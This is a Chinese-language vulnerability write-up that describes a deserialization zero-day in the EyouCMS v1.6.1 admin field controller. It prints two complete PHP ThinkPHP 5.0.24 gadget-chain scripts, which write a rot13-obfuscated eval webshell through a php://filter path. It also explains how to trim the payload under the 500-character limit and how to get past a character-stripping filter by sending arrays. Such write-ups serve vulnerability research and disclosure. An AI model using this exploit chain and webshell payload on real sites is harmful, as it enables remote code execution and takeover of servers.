EyouCMS v1.6.1 0day挖掘

前言

官网地址:https://www.eyoucms.com/

看到很多EyouCMS的XSS,从官网下载源码随便看看。

EyouCMS v1.6.1 反序列化漏洞

image-20230128235231851

application/admin/controller/Field.php#channel_edit调用了unserializeunserialize的参数无法直接控制。

此处反序列化的参数来自数据库的查询结果,很容易想到通过channel_add函数向数据库中插入序列化数据,非常简单的思路,但是问题却没有这么简单。

channel_add函数中,如果传入的字段类型为区域,那么将无法控制默认值。

image-20230129001025280

测试了application/admin/controller/Field.php中的一些功能后,发现arctype_edit函数和channel_edit函数操作的是同一张表,此时想到也许可以用arctype_edit函数替代channel_edit函数来修改数据库中的数据。

image-20230129002650299

果然可以。

EyouCMS基于ThinkPHP 5.0.24,直接用ThinkPHP 5.0.24的反序列化链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

namespace think\cache\driver;
class File
{
protected $tag='t';
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php',
'data_compress' => false,
];
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
protected $handler;
function __construct()
{
$this->handler=new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
protected $styles = ['removeWhereField'];
function __construct()
{
$this->handle=new Memcached();
}
}
namespace think\model\relation;
use think\console\Output;
class HasOne
{
function __construct()
{
$this->query=new Output();
}

}
namespace think\model;
use think\model\relation\HasOne;
class Pivot
{
protected $append = ['getError'];
public function __construct()
{
$this->error=new HasOne();
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
public function __construct()
{
$this->files=[new Pivot()];
}
}
$x=new Windows();
echo base64_encode(serialize($x));

因为不存在字段名称为channel_add的arctype,所以报错了。

image-20230129004039718

通过arctype_add函数新增一个字段名称为channel_add的arctype后重新发包,因为序列化数据的长度超过了最大长度500又报错了。删除了一些无关紧要的类属性同时将类属性的访问控制修改为public以缩短序列化数据的长度,最终序列化数据长度为499,极限绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

namespace think\cache\driver;
class File
{
public $tag='t';
public $options = [
'path' => 'php://filter/string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php'
];
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
public $handler;
function __construct()
{
$this->handler=new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
public $styles = ['removeWhereField'];
function __construct()
{
$this->handle=new Memcached();
}
}
namespace think\model\relation;
use think\console\Output;
class HasOne
{
function __construct()
{
$this->query=new Output();
}

}
namespace think\model;
use think\model\relation\HasOne;
class Pivot
{
public $append = ['getError'];
public function __construct()
{
$this->error=new HasOne();
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
public function __construct()
{
$this->files=[new Pivot()];
}
}
$x=new Windows();
echo strlen(serialize($x));
echo base64_encode(serialize($x));

image-20230129010350387

本以为大功告成,但是调用channel_edit函数后并没有如预期那样写入webshell,发现数据库中的序列化数据少了一些字符。

image-20230129010820213

分析源码,当传入的字段类型为区域时,默认值中的一些字符会被替换为空。

image-20230129011242012

通过传入数组的方式就能够使传入的字段类型不满足if的条件,从而避免序列化数据中的一些字符被替换为空。

image-20230129012654812

最后触发反序列化写入webshell。

image-20230129012948503

image-20230129013037290